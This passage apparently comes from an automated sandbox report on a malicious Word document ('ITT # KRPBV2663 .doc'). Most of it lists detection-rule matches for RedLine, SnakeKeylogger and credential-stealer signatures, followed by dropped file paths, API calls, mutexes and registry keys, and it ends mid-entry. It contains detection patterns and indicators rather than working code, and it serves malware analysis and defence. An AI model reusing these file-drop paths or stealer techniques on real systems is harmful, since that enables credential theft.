Source: 10.1.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.Aiymwhpj.PIF.211f67a8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000013.00000001.2327344722.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000013.00000002.3731782871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000F.00000001.2248691179.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000F.00000002.3731678723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000001.2128731771.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, -j.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@24/10@5/6

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027B7F52 GetDiskFreeSpaceA,

7_2_027B7F52

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Code function: 10_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

10_2_004019F0

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027C6D48 CoCreateInstance,

7_2_027C6D48

Source: C:\Users\Public\Libraries\jphwmyiA.pif

10_2_004019F0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Desktop\~$T # KRPBV2663 .doc

Jump to behavior

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3652:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{C8592FA1-DBA5-4FB7-B160-9F65D8E5C5DD} - OProcSessId.dat

Jump to behavior

Source: ITT # KRPBV2663 .doc

OLE indicator, Word Document stream: true

Source: ITT # KRPBV2663 .doc	OLE document summary: title field not present or empty
Source: ITT # KRPBV2663 .doc	OLE document summary: edited time not present or 0

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Command line argument: 08A		10_2_00413780
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Command line argument: 08A		15_2_00413780

Source: C:\Windows\SysWOW64\brightness.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe

